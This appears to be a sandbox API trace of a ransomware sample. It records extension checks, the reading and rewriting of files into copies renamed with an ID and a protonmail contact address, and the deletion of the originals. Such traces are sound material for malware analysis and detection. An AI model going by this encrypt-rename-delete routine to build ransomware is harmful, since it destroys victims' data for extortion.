	[0060.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString=".xlsx") returned 5
	[0060.720] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.720] lstrlenW (lpString=".ppt") returned 4
	[0060.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString=".zip") returned 4
	[0060.720] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.720] lstrlenW (lpString=".rar") returned 4
	[0060.720] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString=".bz2") returned 4
	[0060.720] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString=".7z") returned 3
	[0060.720] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.721] lstrlenW (lpString=".dbf") returned 4
	[0060.721] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.721] lstrlenW (lpString=".1cd") returned 4
	[0060.721] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.721] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.721] lstrlenW (lpString=".jpg") returned 4
	[0060.721] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.721] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.721] lstrlenW (lpString="eula.rtf") returned 8
	[0060.721] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.721] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3314) returned 1
	[0060.721] CloseHandle (hObject=0x2e4) returned 1
	[0060.721] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80
	[0060.722] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.722] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.722] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0060.725] GetLastError () returned 0x0
	[0060.725] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xcf2, lpOverlapped=0x0) returned 1
	[0060.727] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xd00, lpOverlapped=0x0) returned 1
	[0060.728] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.728] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.728] SetEndOfFile (hFile=0x2f4) returned 1
	[0060.728] CloseHandle (hObject=0x2f4) returned 1
	[0060.729] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.729] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.730] CloseHandle (hObject=0x2e4) returned 1
	[0060.730] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.730] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString=".doc") returned 4
	[0060.731] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString=".docx") returned 5
	[0060.731] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.731] lstrlenW (lpString=".pdf") returned 4
	[0060.731] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString=".xls") returned 4
	[0060.731] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.731] lstrlenW (lpString=".xlsx") returned 5
	[0060.731] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.731] lstrlenW (lpString=".ppt") returned 4
	[0060.731] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString=".zip") returned 4
	[0060.731] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.731] lstrlenW (lpString=".rar") returned 4
	[0060.731] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString=".bz2") returned 4
	[0060.731] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString=".7z") returned 3
	[0060.731] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString=".dbf") returned 4
	[0060.731] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString=".1cd") returned 4
	[0060.731] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.731] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.731] lstrlenW (lpString=".jpg") returned 4
	[0060.731] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString=".doc") returned 4
	[0060.732] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString=".docx") returned 5
	[0060.732] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.732] lstrlenW (lpString=".pdf") returned 4
	[0060.732] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString=".xls") returned 4
	[0060.732] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.732] lstrlenW (lpString=".xlsx") returned 5
	[0060.732] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.732] lstrlenW (lpString=".ppt") returned 4
	[0060.732] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString=".zip") returned 4
	[0060.732] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.732] lstrlenW (lpString=".rar") returned 4
	[0060.732] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString=".bz2") returned 4
	[0060.732] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString=".7z") returned 3
	[0060.732] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString=".dbf") returned 4
	[0060.732] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString=".1cd") returned 4
	[0060.732] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.732] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0060.732] lstrlenW (lpString=".jpg") returned 4
	[0060.732] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.733] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.733] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.733] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=77748) returned 1
	[0060.733] CloseHandle (hObject=0x2e4) returned 1
	[0060.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80
	[0060.733] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.733] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.733] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.733] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0060.734] GetLastError () returned 0x0
	[0060.734] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x12fb4, lpOverlapped=0x0) returned 1
	[0060.979] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x12fc0, lpOverlapped=0x0) returned 1
	[0060.982] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.982] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.982] SetEndOfFile (hFile=0x2f4) returned 1
	[0060.982] CloseHandle (hObject=0x2f4) returned 1
	[0060.984] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.985] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.986] CloseHandle (hObject=0x2e4) returned 1
	[0060.986] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.986] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1
	[0060.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.986] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.986] lstrlenW (lpString=".doc") returned 4
	[0060.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString=".docx") returned 5
	[0060.987] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.987] lstrlenW (lpString=".pdf") returned 4
	[0060.987] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString=".xls") returned 4
	[0060.987] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString=".xlsx") returned 5
	[0060.987] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.987] lstrlenW (lpString=".ppt") returned 4
	[0060.987] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.987] lstrlenW (lpString=".zip") returned 4
	[0060.987] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.987] lstrlenW (lpString=".rar") returned 4
	[0060.987] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString=".bz2") returned 4
	[0060.987] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString=".7z") returned 3
	[0060.987] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.987] lstrlenW (lpString=".dbf") returned 4
	[0060.987] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString=".1cd") returned 4
	[0060.988] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString=".jpg") returned 4
	[0060.988] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString=".doc") returned 4
	[0060.988] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString=".docx") returned 5
	[0060.988] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.988] lstrlenW (lpString=".pdf") returned 4
	[0060.988] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString=".xls") returned 4
	[0060.988] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString=".xlsx") returned 5
	[0060.988] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.988] lstrlenW (lpString=".ppt") returned 4
	[0060.988] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString=".zip") returned 4
	[0060.988] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.988] lstrlenW (lpString=".rar") returned 4
	[0060.988] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString=".bz2") returned 4
	[0060.988] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString=".7z") returned 3
	[0060.988] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.988] lstrlenW (lpString=".dbf") returned 4
	[0060.988] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.989] lstrlenW (lpString=".1cd") returned 4
	[0060.989] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44
	[0060.989] lstrlenW (lpString=".jpg") returned 4
	[0060.989] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.989] Sleep (dwMilliseconds=0x64) 
	[0061.377] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0061.377] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0061.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.378] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=72076) returned 1
	[0061.379] CloseHandle (hObject=0x2e4) returned 1
	[0061.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0061.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.379] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.379] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.381] GetLastError () returned 0x0
	[0061.381] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x1198c, lpOverlapped=0x0) returned 1
	[0061.385] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x11990, lpOverlapped=0x0) returned 1
	[0061.388] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.388] WriteFile (in: hFile=0x2f4, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0061.388] SetEndOfFile (hFile=0x2f4) returned 1
	[0061.389] CloseHandle (hObject=0x2f4) returned 1
	[0061.392] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.392] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.394] CloseHandle (hObject=0x2e4) returned 1
	[0061.394] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1
	[0061.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.395] lstrlenW (lpString=".doc") returned 4
	[0061.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString=".docx") returned 5
	[0061.395] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.395] lstrlenW (lpString=".pdf") returned 4
	[0061.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString=".xls") returned 4
	[0061.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString=".xlsx") returned 5
	[0061.395] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.395] lstrlenW (lpString=".ppt") returned 4
	[0061.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.395] lstrlenW (lpString=".zip") returned 4
	[0061.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.395] lstrlenW (lpString=".rar") returned 4
	[0061.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString=".bz2") returned 4
	[0061.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.395] lstrlenW (lpString=".7z") returned 3
	[0061.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.395] lstrlenW (lpString=".dbf") returned 4
	[0061.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.396] lstrlenW (lpString=".1cd") returned 4
	[0061.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.396] lstrlenW (lpString=".jpg") returned 4
	[0061.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.396] lstrlenW (lpString=".doc") returned 4
	[0061.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString=".docx") returned 5
	[0061.396] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.396] lstrlenW (lpString=".pdf") returned 4
	[0061.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString=".xls") returned 4
	[0061.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString=".xlsx") returned 5
	[0061.396] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0061.396] lstrlenW (lpString=".ppt") returned 4
	[0061.396] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.396] lstrlenW (lpString=".zip") returned 4
	[0061.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0061.396] lstrlenW (lpString=".rar") returned 4
	[0061.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString=".bz2") returned 4
	[0061.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.396] lstrlenW (lpString=".7z") returned 3
	[0061.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0061.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.397] lstrlenW (lpString=".dbf") returned 4
	[0061.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.397] lstrlenW (lpString=".1cd") returned 4
	[0061.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0061.397] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0061.397] lstrlenW (lpString=".jpg") returned 4
	[0061.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0061.397] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.397] lstrlenW (lpString="eula.rtf") returned 8
	[0061.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.397] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4254) returned 1
	[0061.397] CloseHandle (hObject=0x2e4) returned 1
